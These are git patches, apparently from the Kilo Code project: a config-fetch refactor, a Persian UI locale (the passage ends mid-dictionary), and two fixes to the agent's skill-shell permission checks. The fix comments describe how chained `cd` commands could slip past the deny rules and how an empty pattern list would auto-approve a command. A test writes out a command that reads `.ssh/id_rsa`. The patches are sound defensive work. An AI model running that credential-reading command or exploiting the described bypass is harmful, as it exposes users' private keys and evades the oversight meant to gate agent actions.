Mon Sep 17 00:00:00 2001 From: Marius Date: Wed, 29 Jul 2026 14:47:36 +0200 Subject: [PATCH 044/100] refactor(vscode): deduplicate config snapshots (#12650) * refactor(vscode): deduplicate config snapshots * test(vscode): stabilize config snapshot settings --- packages/kilo-vscode/src/KiloProvider.ts | 78 ++++--------------- .../src/kilo-provider/config-snapshot.ts | 20 +++++ .../kilo-provider-indexing-refresh.test.ts | 37 +++++++-- 3 files changed, 67 insertions(+), 68 deletions(-) create mode 100644 packages/kilo-vscode/src/kilo-provider/config-snapshot.ts diff --git a/packages/kilo-vscode/src/KiloProvider.ts b/packages/kilo-vscode/src/KiloProvider.ts index 48817cf901..83c41aaf09 100644 --- a/packages/kilo-vscode/src/KiloProvider.ts +++ b/packages/kilo-vscode/src/KiloProvider.ts @@ -161,6 +161,7 @@ import { AnacondaDesktopBridge } from "./anaconda-desktop/bridge" import { fetchOpenAIModels, FetchModelsError } from "./shared/fetch-models" import type { Agent } from "@kilocode/sdk/v2/client" import { configFeatures } from "./features" +import { fetchSnapshot } from "./kilo-provider/config-snapshot" import { createAutoApproveBridge } from "./kilo-provider/auto-approve" import type { KiloProviderOptions } from "./kilo-provider/options" import { fetchKiloEmbeddingModelCatalog } from "@kilocode/kilo-gateway" @@ -2562,24 +2563,7 @@ export class KiloProvider implements vscode.WebviewViewProvider, TelemetryProper } try { - const workspaceDir = this.getWorkspaceDirectory() - const [{ data: config }, { data: global }, { data: overlay }] = await Promise.all([ - retry(() => this.client!.config.get({ directory: workspaceDir }, { throwOnError: true })), - this.client.global.config.get({ throwOnError: true }), - this.client.config.overlay({ directory: workspaceDir, scope: "project" }, { throwOnError: true }), - ]) - this.cachedGlobalConfig = global ?? null - - const message = { - type: "configLoaded", - config, - globalConfig: global, - projectConfig: overlay?.project, - settings: { maxCost: this.maxCostSetting(), languageCommitMessage: this.commitMessageLanguageSetting() }, - features: configFeatures(config), - } - this.cachedConfigMessage = message - this.postMessage(message) + await this.refreshConfig("configLoaded") } catch (error) { console.error("[Kilo New] KiloProvider: Failed to fetch config:", error) } @@ -2673,29 +2657,7 @@ export class KiloProvider implements vscode.WebviewViewProvider, TelemetryProper private async fetchAndSendConfigUpdated(): Promise { if (!this.client || this.connectionState !== "connected") return try { - const dir = this.getWorkspaceDirectory() - const [{ data: config }, { data: global }, { data: overlay }] = await Promise.all([ - retry(() => this.client!.config.get({ directory: dir }, { throwOnError: true })), - this.client.global.config.get({ throwOnError: true }), - this.client.config.overlay({ directory: dir, scope: "project" }, { throwOnError: true }), - ]) - this.cachedGlobalConfig = global ?? null - this.cachedConfigMessage = { - type: "configLoaded", - config, - globalConfig: global, - projectConfig: overlay?.project, - settings: { maxCost: this.maxCostSetting(), languageCommitMessage: this.commitMessageLanguageSetting() }, - features: configFeatures(config), - } - this.postMessage({ - type: "configUpdated", - config, - globalConfig: global, - projectConfig: overlay?.project, - settings: { maxCost: this.maxCostSetting(), languageCommitMessage: this.commitMessageLanguageSetting() }, - features: configFeatures(config), - }) + await this.refreshConfig("configUpdated") } catch (error) { console.error("[Kilo New] KiloProvider: Failed to fetch config after update:", error) } @@ -3064,28 +3026,7 @@ export class KiloProvider implements vscode.WebviewViewProvider, TelemetryProper } try { - const [{ data: merged }, { data: global }, { data: overlay }] = await Promise.all([ - retry(() => this.client!.config.get({ directory: dir }, { throwOnError: true })), - this.client.global.config.get({ throwOnError: true }), - this.client.config.overlay({ directory: dir, scope: "project" }, { throwOnError: true }), - ]) - this.cachedGlobalConfig = global ?? null - this.cachedConfigMessage = { - type: "configLoaded", - config: merged, - globalConfig: global, - projectConfig: overlay?.project, - settings: { maxCost: this.maxCostSetting(), languageCommitMessage: this.commitMessageLanguageSetting() }, - features: configFeatures(merged), - } - this.postMessage({ - type: "configUpdated", - config: merged, - globalConfig: global, - projectConfig: overlay?.project, - settings: { maxCost: this.maxCostSetting(), languageCommitMessage: this.commitMessageLanguageSetting() }, - features: configFeatures(merged), - }) + await this.refreshConfig("configUpdated", dir) this.requirements.clear() await Promise.all([ refreshProviders ? this.fetchAndSendProviders() : Promise.resolve(), @@ -3113,6 +3054,17 @@ export class KiloProvider implements vscode.WebviewViewProvider, TelemetryProper this.pending-- } } + + private async refreshConfig(type: "configLoaded" | "configUpdated", dir = this.getWorkspaceDirectory()) { + const snapshot = await fetchSnapshot(this.client!, dir, () => ({ + maxCost: this.maxCostSetting(), + languageCommitMessage: this.commitMessageLanguageSetting(), + })) + this.cachedGlobalConfig = snapshot.globalConfig ?? null + this.cachedConfigMessage = { type: "configLoaded", ...snapshot } + this.postMessage({ type, ...snapshot }) + } + private postConfigFailure(error: unknown): void { console.error("[Kilo New] KiloProvider: Failed to update config:", error) this.postMessage({ diff --git a/packages/kilo-vscode/src/kilo-provider/config-snapshot.ts b/packages/kilo-vscode/src/kilo-provider/config-snapshot.ts new file mode 100644 index 0000000000..209d5c4e42 --- /dev/null +++ b/packages/kilo-vscode/src/kilo-provider/config-snapshot.ts @@ -0,0 +1,20 @@ +import type { KiloClient } from "@kilocode/sdk/v2/client" +import { configFeatures } from "../features" +import { retry } from "../services/cli-backend/retry" + +type Client = Pick +type Settings = { maxCost: number; languageCommitMessage: string } +export async function fetchSnapshot(client: Client, dir: string, settings: () => Settings) { + const [{ data: config }, { data: global }, { data: overlay }] = await Promise.all([ + retry(() => client.config.get({ directory: dir }, { throwOnError: true })), + client.global.config.get({ throwOnError: true }), + client.config.overlay({ directory: dir, scope: "project" }, { throwOnError: true }), + ]) + return { + config, + globalConfig: global, + projectConfig: overlay?.project, + settings: settings(), + features: configFeatures(config), + } +} diff --git a/packages/kilo-vscode/tests/unit/kilo-provider-indexing-refresh.test.ts b/packages/kilo-vscode/tests/unit/kilo-provider-indexing-refresh.test.ts index 31ed93fd4f..cc698f3e0f 100644 --- a/packages/kilo-vscode/tests/unit/kilo-provider-indexing-refresh.test.ts +++ b/packages/kilo-vscode/tests/unit/kilo-provider-indexing-refresh.test.ts @@ -1,5 +1,6 @@ import { describe, expect, it } from "bun:test" import type { Config } from "@kilocode/sdk/v2/client" +import { fetchSnapshot } from "../../src/kilo-provider/config-snapshot" // vscode mock is provided by the shared preload (tests/setup/vscode-mock.ts) const { KiloProvider } = await import("../../src/KiloProvider") @@ -17,6 +18,7 @@ type Internals = { projectUnset?: string[][], ) => Promise fetchAndSendConfig: () => Promise + fetchAndSendConfigUpdated: () => Promise fetchAndSendProviders: () => Promise fetchAndSendAgents: () => Promise fetchAndSendSkills: () => Promise @@ -28,17 +30,18 @@ type Internals = { function createConnection() { let drains = 0 const patches: unknown[] = [] + const config = { snapshot: true } + const global = { snapshot: false } + const project = { default_agent: "code" } const client = { global: { config: { - get: async () => ({ data: {} }), - update: async () => ({ data: {} }), + get: async () => ({ data: global }), }, }, config: { - get: async () => ({ data: {} }), - update: async () => ({ data: {} }), - overlay: async () => ({ data: { project: {} } }), + get: async () => ({ data: config }), + overlay: async () => ({ data: { project } }), overlayUpdate: async (patch: unknown) => { patches.push(patch) return { data: {} } @@ -47,6 +50,7 @@ function createConnection() { } return { + client, drains: () => drains, patches: () => patches, service: { @@ -59,6 +63,29 @@ function createConnection() { } describe("KiloProvider indexing refresh", () => { + it("shares snapshot payloads across load, SSE refresh, and post-save refresh", async () => { + const conn = createConnection() + const settings = () => ({ maxCost: 0, languageCommitMessage: "sync" }) + const snapshot = await fetchSnapshot(conn.client as never, "/repo", settings) + const provider = new KiloProvider({} as never, conn.service as never) + const internal = provider as unknown as Internals + const sent: unknown[] = [] + provider.postMessage = (message) => void sent.push(message) + Object.assign(internal, { connectionState: "connected", commitMessageLanguageSetting: () => "sync" }) + await internal.fetchAndSendConfig() + await internal.fetchAndSendConfigUpdated() + await internal.handleUpdateConfig({}) + + expect(sent).toEqual([ + { type: "configLoaded", ...snapshot }, + { type: "configUpdated", ...snapshot }, + { type: "configUpdated", ...snapshot }, + ]) + sent.length = 0 + internal.connectionState = "disconnected" + await internal.fetchAndSendConfig() + expect(sent).toEqual([{ type: "configLoaded", ...snapshot }]) + }) it("reloadAfterAuthChange fetches config first, then indexing status", async () => { const provider = new KiloProvider({} as never, {} as never) const internal = provider as unknown as Internals From 3655be492219e10420b6328681537ae80e68200d Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 14:58:27 +0200 Subject: [PATCH 045/100] fix(cli): authorize verbatim skill commands to block cd-chained escapes --- .../opencode/src/kilocode/skills/inject.ts | 7 +++++- .../kilocode/permission/skill-shell.test.ts | 25 +++++++++++++++++++ .../test/kilocode/skills/inject.test.ts | 14 +++++------ 3 files changed, 38 insertions(+), 8 deletions(-) diff --git a/packages/opencode/src/kilocode/skills/inject.ts b/packages/opencode/src/kilocode/skills/inject.ts index d577ade7e2..05beb703e6 100644 --- a/packages/opencode/src/kilocode/skills/inject.ts +++ b/packages/opencode/src/kilocode/skills/inject.ts @@ -66,10 +66,15 @@ export namespace SkillInject { // Decompose each command into sub-command patterns + out-of-project dir globs // via the shared bash scan, so plan-mode denies and external_directory checks - // apply per sub-command instead of matching the raw string as one glob. + // apply per sub-command instead of matching the raw string as one glob. Also + // authorize the verbatim command: decomposition drops cd/set-location segments + // and strips chaining metacharacters, so a payload like `cd $HOME; cat secret` + // would otherwise slip past the metachar deny rules (`*;*`, `*|*`, `*\n*`) and + // hide the escape. Keeping the raw string as a pattern makes those rules fire. const patterns = new Set() const dirs = new Set() for (const command of commands) { + patterns.add(command) const scan = yield* opts.decompose({ command, cwd: opts.cwd, shell }) for (const pattern of scan.patterns) patterns.add(pattern) for (const dir of scan.dirs) dirs.add(dir) diff --git a/packages/opencode/test/kilocode/permission/skill-shell.test.ts b/packages/opencode/test/kilocode/permission/skill-shell.test.ts index 06bf04df7c..9f10a53349 100644 --- a/packages/opencode/test/kilocode/permission/skill-shell.test.ts +++ b/packages/opencode/test/kilocode/permission/skill-shell.test.ts @@ -108,6 +108,31 @@ it.instance( { git: true }, ) +it.instance( + "skillShell - a cd-chained escape is vetoed via the verbatim command pattern", + () => + Effect.gen(function* () { + // The injector asks with the decomposed sub-command (`cat .ssh/id_rsa`, which + // readOnlyBash would allow) AND the verbatim command. In plan mode the metachar + // hard-veto (`*\n*` deny) must fire on the verbatim string, blocking the escape. + const err = yield* fail( + ask({ + sessionID: SessionID.make("session_test"), + permission: "bash", + patterns: ['cd "$HOME"\ncat .ssh/id_rsa', "cat .ssh/id_rsa"], + metadata: { skillShell: true }, + always: [], + ruleset: [{ permission: "bash", pattern: "cat *", action: "allow" }], + hardRuleset: [{ permission: "bash", pattern: "*\n*", action: "deny" }], + }), + ) + + expect(err).toBeInstanceOf(PermissionV1.DeniedError) + expect(yield* list()).toHaveLength(0) + }), + { git: true }, +) + it.instance( "skillShell - is denied by a hard-ruleset veto instead of prompting", () => diff --git a/packages/opencode/test/kilocode/skills/inject.test.ts b/packages/opencode/test/kilocode/skills/inject.test.ts index 50e6c61641..d96a970f67 100644 --- a/packages/opencode/test/kilocode/skills/inject.test.ts +++ b/packages/opencode/test/kilocode/skills/inject.test.ts @@ -115,11 +115,12 @@ describe("skill shell injection", () => { }), ) - unix("decomposes a compound command into per-sub-command patterns", () => + unix("authorizes both the decomposed sub-commands and the verbatim command", () => Effect.gen(function* () { - // A single placeholder with a chained command must not be asked as one glob - // pattern (which would let e.g. `cat *` match the whole string). Each - // sub-command must appear separately so deny/veto rules apply per command. + // A chained placeholder is asked with per-sub-command patterns (so deny/veto + // rules apply to each) AND the verbatim string (so the metachar deny rules + // `*;*`/`*|*`/`*\n*` fire and cd/set-location escapes can't hide). The prompt + // still displays the verbatim placeholder. yield* writeGlobalSkill("compound-shell", "Out: !`cat README.md; printf hi`") const requests: Array> = [] @@ -131,11 +132,10 @@ describe("skill shell injection", () => { const bash = requests.filter((r) => r.permission === "bash") expect(bash.length).toBe(1) - // patterns are decomposed per sub-command so deny/veto rules apply to each expect(bash[0].patterns).toContain("cat README.md") expect(bash[0].patterns).toContain("printf hi") - expect(bash[0].patterns).not.toContain("cat README.md; printf hi") - // but the prompt displays the verbatim placeholder, so nothing is hidden from the user + // the raw chained string is authorized too, so metachar deny rules can match it + expect(bash[0].patterns).toContain("cat README.md; printf hi") expect(bash[0].metadata?.["commands"]).toEqual(["cat README.md; printf hi"]) }), ) From 6497a8dcb524f5481ecea1a1e62a97fec7b49d56 Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 15:07:13 +0200 Subject: [PATCH 046/100] fix(cli): fail closed when a skill batch has no authorizable commands --- .../opencode/src/kilocode/skills/inject.ts | 6 ++++++ .../test/kilocode/skills/inject.test.ts | 21 +++++++++++++++++++ 2 files changed, 27 insertions(+) diff --git a/packages/opencode/src/kilocode/skills/inject.ts b/packages/opencode/src/kilocode/skills/inject.ts index 05beb703e6..902647cac3 100644 --- a/packages/opencode/src/kilocode/skills/inject.ts +++ b/packages/opencode/src/kilocode/skills/inject.ts @@ -80,6 +80,12 @@ export namespace SkillInject { for (const dir of scan.dirs) dirs.add(dir) } + // Fail closed: an empty pattern set would make the bash ask below auto-approve + // (Permission.ask iterates patterns, so forceAsk/veto never run for an empty + // list). Each command contributes its verbatim string above, so this is + // unreachable — but abort rather than risk a silent, unprompted execution. + if (patterns.size === 0) return yield* Effect.die(new Error("skill shell produced no authorizable commands")) + // Single up-front approval. `patterns` are the decomposed sub-commands used for // rule matching; `metadata.commands` is the verbatim per-placeholder list the // prompt displays, so what is shown is exactly what runs (decomposition drops diff --git a/packages/opencode/test/kilocode/skills/inject.test.ts b/packages/opencode/test/kilocode/skills/inject.test.ts index d96a970f67..0b213c68bf 100644 --- a/packages/opencode/test/kilocode/skills/inject.test.ts +++ b/packages/opencode/test/kilocode/skills/inject.test.ts @@ -140,6 +140,27 @@ describe("skill shell injection", () => { }), ) + unix("still prompts for a cd-only command (no empty-pattern auto-approve)", () => + Effect.gen(function* () { + // `cd` decomposes to no sub-command patterns; without the verbatim command the + // bash ask would carry an empty pattern list and Permission.ask would silently + // auto-approve (forceAsk never runs on an empty list). The raw command keeps + // the prompt firing. + yield* writeGlobalSkill("cd-only", "Out: !`cd sub`") + + const requests: Array> = [] + yield* loadSkill("cd-only", (req) => + Effect.sync(() => { + requests.push(req) + }), + ) + + const bash = requests.filter((r) => r.permission === "bash") + expect(bash.length).toBe(1) + expect(bash[0].patterns).toContain("cd sub") + }), + ) + unix("aborts the entire skill load when the batch is rejected", () => Effect.gen(function* () { yield* writeGlobalSkill("denied-shell", "Secret: !`printf leaked`") From d6380b246b0d0ad99e5cf2084d97e381f1bc94e3 Mon Sep 17 00:00:00 2001 From: Babak S Date: Wed, 29 Jul 2026 16:51:22 +0330 Subject: [PATCH 047/100] feat(vscode): add Persian (Farsi) UI language (#12424) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(vscode): add Persian (Farsi) UI language Add Farsi (fa) as a first-class UI locale for the VS Code extension, with automatic right-to-left layout (the extension already supports RTL via Arabic). - Register fa in language-utils (Locale union, LOCALES, RTL_LOCALES), language.tsx (label + merged dict layers), kiloclaw, the extension-host and cli-backend translation bundles, and both package.json language enums. - Add complete fa.ts dictionaries for all kilo-vscode i18n namespaces (sidebar, agent manager, kiloclaw, extension host, autocomplete, cli-backend). - Extend i18n tests to enforce fa key completeness and placeholder alignment. Persian language contributed by Babak Safabahar. * fix(vscode): translate remaining Persian UI strings * fix(vscode): make question dock and suggestions RTL-aware The interactive question dock pinned option labels/descriptions to the left via a hardcoded text-align: left, so they rendered left-aligned even under an RTL locale (Persian/Arabic). Use logical text-align: start and logical padding on the header, and add dir=auto to question text, option label/description, collapsed preview, review rows and the suggestion text so mixed-script content renders with correct bidi. Contributed by Babak Safabahar. * fix(i18n): sync Persian translations with latest en.ts Resync fa.ts after rebasing on main: - Translate the 27 newly added English keys into Persian. - Remove the 23 obsolete memory.* keys that no longer exist in en.ts. - Translate error.chain.configDirectoryTypo and other single-quoted values that were previously left in English. All {{placeholder}} tokens are preserved; brand/technical terms (MCP, VS Code, Vercel, Kilo Code, TerminalBench) intentionally stay untranslated. The i18n key-completeness and placeholder-alignment tests pass. Contributed by Babak Safabahar. * fix(i18n): sync Persian translations with latest main Translate the 45 newly added keys after rebasing on upstream main, including the four session.prompts.* keys requested by the reviewer: - session.prompts.navLabel -> ناوبر پرامپت - session.prompts.tick -> پرامپت {{index}} از {{total}}: {{prompt}} - session.prompts.noAnswer -> هنوز پاسخی وجود ندارد - session.prompts.queued -> در صف انتظار All {{placeholder}} tokens preserved; brand terms stay untranslated. i18n tests pass (32/32). Contributed by Babak Safabahar. * fix(i18n): improve contextual accuracy of 8 Persian translations Revise the 8 keys flagged by the reviewer as too literal: - migration.whatsNew.features.agentManager.title: was 'مدیر عامل'; now 'Agent Manager' (product name, not translated) - agentManager.dialog.createWorktree: was 'ایجاد درخت‌کاری'; now 'ایجاد Worktree' (git technical term) - agentManager.dialog.versionHint: 'worktree' kept in English - sidebar.session.configureWorktree.tooltip: 'worktree'/'Agent Manager' kept in English - sidebar.session.showChanges.tooltip.empty: 'working tree' kept in English - diffViewer.source.unstaged.tooltip: 'working tree'/'stage' kept in English - settings.language.description: phrasing improved - prompt.placeholder.default: already natural; minor polish Also sync fa.ts with any additional new keys added since the last commit. i18n tests pass (32/32). Contributed by Babak Safabahar. * Update packages/kilo-vscode/webview-ui/src/i18n/fa.ts Co-authored-by: kilo-code-bot[bot] <240665456+kilo-code-bot[bot]@users.noreply.github.com> --------- Co-authored-by: Johnny Eric Amancio Co-authored-by: kilo-code-bot[bot] <240665456+kilo-code-bot[bot]@users.noreply.github.com> --- .changeset/persian-language.md | 5 + packages/kilo-vscode/package.json | 12 +- .../src/services/cli-backend/i18n/fa.ts | 6 + .../src/services/cli-backend/i18n/index.ts | 2 + .../src/services/i18n/autocomplete/fa.ts | 27 + packages/kilo-vscode/src/services/i18n/fa.ts | 7 + .../kilo-vscode/src/services/i18n/index.ts | 2 + .../unit/agent-manager-i18n-split.test.ts | 2 + .../kilo-vscode/tests/unit/i18n-keys.test.ts | 6 + .../tests/unit/language-utils.test.ts | 5 + .../webview-ui/agent-manager/i18n/fa.ts | 207 +++ .../webview-ui/kiloclaw/context/language.tsx | 2 + .../webview-ui/kiloclaw/i18n/fa.ts | 95 ++ .../src/components/chat/QuestionDock.tsx | 22 +- .../src/components/chat/SuggestBar.tsx | 4 +- .../webview-ui/src/context/language-utils.ts | 4 +- .../webview-ui/src/context/language.tsx | 6 + .../kilo-vscode/webview-ui/src/i18n/fa.ts | 1288 +++++++++++++++++ .../webview-ui/src/styles/question-dock.css | 5 +- 19 files changed, 1693 insertions(+), 14 deletions(-) create mode 100644 .changeset/persian-language.md create mode 100644 packages/kilo-vscode/src/services/cli-backend/i18n/fa.ts create mode 100644 packages/kilo-vscode/src/services/i18n/autocomplete/fa.ts create mode 100644 packages/kilo-vscode/src/services/i18n/fa.ts create mode 100644 packages/kilo-vscode/webview-ui/agent-manager/i18n/fa.ts create mode 100644 packages/kilo-vscode/webview-ui/kiloclaw/i18n/fa.ts create mode 100644 packages/kilo-vscode/webview-ui/src/i18n/fa.ts diff --git a/.changeset/persian-language.md b/.changeset/persian-language.md new file mode 100644 index 0000000000..9e07d9e8b8 --- /dev/null +++ b/.changeset/persian-language.md @@ -0,0 +1,5 @@ +--- +"kilo-code": minor +--- + +Add Persian (Farsi) as a UI language, including right-to-left layout. Contributed by Babak Safabahar. diff --git a/packages/kilo-vscode/package.json b/packages/kilo-vscode/package.json index 901f9c9363..df9e75a70b 100644 --- a/packages/kilo-vscode/package.json +++ b/packages/kilo-vscode/package.json @@ -868,7 +868,8 @@ "tr", "nl", "uk", - "it" + "it", + "fa" ], "enumDescriptions": [ "Auto (VS Code language)", @@ -891,7 +892,8 @@ "Türkçe", "Nederlands", "Українська", - "Italiano" + "Italiano", + "فارسی" ] }, "kilo-code.new.languageCommitMessage": { @@ -919,7 +921,8 @@ "tr", "nl", "uk", - "it" + "it", + "fa" ], "enumDescriptions": [ "跟随界面语言 (Sync with UI language)", @@ -942,7 +945,8 @@ "Türkçe", "Nederlands", "Українська", - "Italiano" + "Italiano", + "فارسی" ] }, "kilo-code.new.model.providerID": { diff --git a/packages/kilo-vscode/src/services/cli-backend/i18n/fa.ts b/packages/kilo-vscode/src/services/cli-backend/i18n/fa.ts new file mode 100644 index 0000000000..3aa4dc7483 --- /dev/null +++ b/packages/kilo-vscode/src/services/cli-backend/i18n/fa.ts @@ -0,0 +1,6 @@ +export const dict = { + "server.processExited": "فرآیند CLI با کد {{code}} قبل از راه‌اندازی سرور خاتمه یافت", + "server.startupTimeout": "زمان راه‌اندازی سرور پس از {{seconds}} ثانیه به پایان رسید", + "remote.connected": "Kilo Remote: متصل شد", + "remote.connecting": "Kilo Remote: در حال اتصال…", +} as const diff --git a/packages/kilo-vscode/src/services/cli-backend/i18n/index.ts b/packages/kilo-vscode/src/services/cli-backend/i18n/index.ts index 82c8c9358a..d41b11bd2c 100644 --- a/packages/kilo-vscode/src/services/cli-backend/i18n/index.ts +++ b/packages/kilo-vscode/src/services/cli-backend/i18n/index.ts @@ -6,6 +6,7 @@ import { dict as da } from "./da" import { dict as de } from "./de" import { dict as en } from "./en" import { dict as es } from "./es" +import { dict as fa } from "./fa" import { dict as fr } from "./fr" import { dict as it } from "./it" import { dict as ja } from "./ja" @@ -29,6 +30,7 @@ const bundles: Record> = { de, en, es, + fa, fr, it, ja, diff --git a/packages/kilo-vscode/src/services/i18n/autocomplete/fa.ts b/packages/kilo-vscode/src/services/i18n/autocomplete/fa.ts new file mode 100644 index 0000000000..593c89eb68 --- /dev/null +++ b/packages/kilo-vscode/src/services/i18n/autocomplete/fa.ts @@ -0,0 +1,27 @@ +// English runtime translations for autocomplete (kilocode:autocomplete.* namespace) +// Source: src/i18n/locales/en/kilocode.json → "autocomplete" section + +export const dict = { + "kilocode:autocomplete.statusBar.enabled": "$(kilo-logo) تکمیل خودکار", + "kilocode:autocomplete.statusBar.snoozed": "به تعویق افتاده", + "kilocode:autocomplete.statusBar.warning": "$(warning) تکمیل خودکار", + "kilocode:autocomplete.statusBar.tooltip.basic": "تکمیل خودکار Kilo Code", + "kilocode:autocomplete.statusBar.tooltip.noUsableProvider": + "**هیچ مدل تکمیل خودکاری پیکربندی نشده است**\n\nبرای فعال‌سازی تکمیل خودکار، یک پروفایل با یکی از ارائه‌دهندگان پشتیبانی‌شده زیر اضافه کنید: {{providers}}.\n\n[باز کردن تنظیمات]({{command}})", + "kilocode:autocomplete.statusBar.tooltip.completionSummary": + "{{count}} تکمیل بین {{startTime}} و {{endTime}} انجام شد، با هزینه کل {{cost}}.", + "kilocode:autocomplete.statusBar.tooltip.providerInfo": + "تکمیل خودکار توسط {{model}} از طریق {{provider}} ارائه می‌شود.", + "kilocode:autocomplete.statusBar.cost.zero": "۰.۰۰$", + "kilocode:autocomplete.statusBar.cost.lessThanCent": "<۰.۰۱$", + "kilocode:autocomplete.codeAction.title": "Kilo Code: ویرایش‌های پیشنهادی", + "kilocode:autocomplete.incompatibilityExtensionPopup.message": + "تکمیل خودکار Kilo Code به دلیل تعارض با GitHub Copilot مسدود شده است. برای رفع این مشکل، باید پیشنهادات درون‌خطی Copilot را غیرفعال کنید.", + "kilocode:autocomplete.incompatibilityExtensionPopup.disableCopilot": "غیرفعال کردن Copilot", + "kilocode:autocomplete.incompatibilityExtensionPopup.disableInlineAssist": "غیرفعال کردن تکمیل خودکار", + "kilocode:autocomplete.creditsExhausted.message": + "تکمیل خودکار Kilo Code متوقف شده است. دلایل احتمالی: حساب Kilo شما اعتبار کافی ندارد، یا کلید API پیکربندی‌شده (BYOK) به سقف مجاز خود رسیده است. برای از سرگیری تکمیل خودکار، اعتبار Kilo اضافه کنید یا تنظیمات کلید API خود را بررسی کنید.", + "kilocode:autocomplete.creditsExhausted.addCredits": "افزودن اعتبار", + "kilocode:autocomplete.authError.message": + "تکمیل خودکار Kilo Code به دلیل مشکل احراز هویت متوقف شده است. دلایل احتمالی: وارد Kilo نشده‌اید، یا کلید API (BYOK) شما نامعتبر یا وارد نشده است. لطفاً دوباره وارد شوید یا تنظیمات کلید API ارائه‌دهنده خود را بررسی کنید.", +} diff --git a/packages/kilo-vscode/src/services/i18n/fa.ts b/packages/kilo-vscode/src/services/i18n/fa.ts new file mode 100644 index 0000000000..e8daa62e10 --- /dev/null +++ b/packages/kilo-vscode/src/services/i18n/fa.ts @@ -0,0 +1,7 @@ +import { dict as autocompleteDict } from "./autocomplete/fa" + +export { autocompleteDict } + +export const dict = { + ...autocompleteDict, +} as const diff --git a/packages/kilo-vscode/src/services/i18n/index.ts b/packages/kilo-vscode/src/services/i18n/index.ts index 4da8dda292..1090b84b39 100644 --- a/packages/kilo-vscode/src/services/i18n/index.ts +++ b/packages/kilo-vscode/src/services/i18n/index.ts @@ -6,6 +6,7 @@ import { dict as de } from "./de" import { dict as en } from "./en" import { type dict as enDict } from "./en" import { dict as es } from "./es" +import { dict as fa } from "./fa" import { dict as fr } from "./fr" import { dict as it } from "./it" import { dict as ja } from "./ja" @@ -28,6 +29,7 @@ const bundles: Record> = { de, en, es, + fa, fr, it, ja, diff --git a/packages/kilo-vscode/tests/unit/agent-manager-i18n-split.test.ts b/packages/kilo-vscode/tests/unit/agent-manager-i18n-split.test.ts index ab0965fa7e..3b7477aafc 100644 --- a/packages/kilo-vscode/tests/unit/agent-manager-i18n-split.test.ts +++ b/packages/kilo-vscode/tests/unit/agent-manager-i18n-split.test.ts @@ -39,6 +39,7 @@ import { dict as amTr } from "../../webview-ui/agent-manager/i18n/tr" import { dict as amNl } from "../../webview-ui/agent-manager/i18n/nl" import { dict as amUk } from "../../webview-ui/agent-manager/i18n/uk" import { dict as amIt } from "../../webview-ui/agent-manager/i18n/it" +import { dict as amFa } from "../../webview-ui/agent-manager/i18n/fa" const PREFIX = "agentManager." @@ -63,6 +64,7 @@ const locales = { nl: amNl, uk: amUk, it: amIt, + fa: amFa, } const appLocales = { diff --git a/packages/kilo-vscode/tests/unit/i18n-keys.test.ts b/packages/kilo-vscode/tests/unit/i18n-keys.test.ts index 11c8c277e3..1aa3db8111 100644 --- a/packages/kilo-vscode/tests/unit/i18n-keys.test.ts +++ b/packages/kilo-vscode/tests/unit/i18n-keys.test.ts @@ -41,6 +41,7 @@ import { dict as appTr } from "../../webview-ui/src/i18n/tr" import { dict as appNl } from "../../webview-ui/src/i18n/nl" import { dict as appUk } from "../../webview-ui/src/i18n/uk" import { dict as appIt } from "../../webview-ui/src/i18n/it" +import { dict as appFa } from "../../webview-ui/src/i18n/fa" // Layer 2: upstream UI (@opencode-ai/ui re-exported via @kilocode/kilo-ui) import { dict as uiEn } from "../../../ui/src/i18n/en" @@ -114,6 +115,7 @@ import { dict as cliTr } from "../../src/services/cli-backend/i18n/tr" import { dict as cliNl } from "../../src/services/cli-backend/i18n/nl" import { dict as cliUk } from "../../src/services/cli-backend/i18n/uk" import { dict as cliIt } from "../../src/services/cli-backend/i18n/it" +import { dict as cliFa } from "../../src/services/cli-backend/i18n/fa" import { dict as hostEn } from "../../src/services/i18n/en" import { dict as hostZh } from "../../src/services/i18n/zh" @@ -135,6 +137,7 @@ import { dict as hostTr } from "../../src/services/i18n/tr" import { dict as hostNl } from "../../src/services/i18n/nl" import { dict as hostUk } from "../../src/services/i18n/uk" import { dict as hostIt } from "../../src/services/i18n/it" +import { dict as hostFa } from "../../src/services/i18n/fa" // ── Locale maps ───────────────────────────────────────────────────────────── @@ -161,6 +164,7 @@ const appLocales: Record> = { nl: appNl, uk: appUk, it: appIt, + fa: appFa, } const kiloLocales: Record> = { @@ -230,6 +234,7 @@ const cliLocales: Record> = { nl: cliNl, uk: cliUk, it: cliIt, + fa: cliFa, } const hostLocales: Record> = { @@ -253,6 +258,7 @@ const hostLocales: Record> = { nl: hostNl, uk: hostUk, it: hostIt, + fa: hostFa, } // Merge webview dictionaries in the same priority order as language.tsx diff --git a/packages/kilo-vscode/tests/unit/language-utils.test.ts b/packages/kilo-vscode/tests/unit/language-utils.test.ts index cc1a8c286b..b4dc8e0aee 100644 --- a/packages/kilo-vscode/tests/unit/language-utils.test.ts +++ b/packages/kilo-vscode/tests/unit/language-utils.test.ts @@ -33,6 +33,11 @@ describe("normalizeLocale", () => { expect(normalizeLocale("ko-KR")).toBe("ko") }) + it("returns 'fa' for Persian", () => { + expect(normalizeLocale("fa")).toBe("fa") + expect(normalizeLocale("fa-IR")).toBe("fa") + }) + it("returns 'no' for Norwegian Bokmål", () => { expect(normalizeLocale("nb")).toBe("no") expect(normalizeLocale("nb-NO")).toBe("no") diff --git a/packages/kilo-vscode/webview-ui/agent-manager/i18n/fa.ts b/packages/kilo-vscode/webview-ui/agent-manager/i18n/fa.ts new file mode 100644 index 0000000000..0f7db226a4 --- /dev/null +++ b/packages/kilo-vscode/webview-ui/agent-manager/i18n/fa.ts @@ -0,0 +1,207 @@ +export const dict = { + "agentManager.local": "محلی", + "agentManager.sidebar.collapse": "بستن نوار کناری", + "agentManager.sidebar.expand": "نمایش نوار کناری", + "agentManager.section.worktrees": "WORKTREES", + "agentManager.section.sessions": "SESSIONS", + "agentManager.notGitRepo": "این یک مخزن git نیست", + + "agentManager.worktree.settings": "تنظیمات Worktree", + "agentManager.worktree.new": "Worktree جدید", + "agentManager.worktree.setupScript": "اسکریپت راه‌اندازی Worktree", + "agentManager.worktree.delete": "حذف Worktree", + "agentManager.worktree.confirmDelete": "حذف شود؟", + "agentManager.worktree.stale": "منسوخ", + "agentManager.worktree.staleTooltip": "روی دیسک وجود ندارد یا دیگر توسط git worktree ردیابی نمی‌شود", + 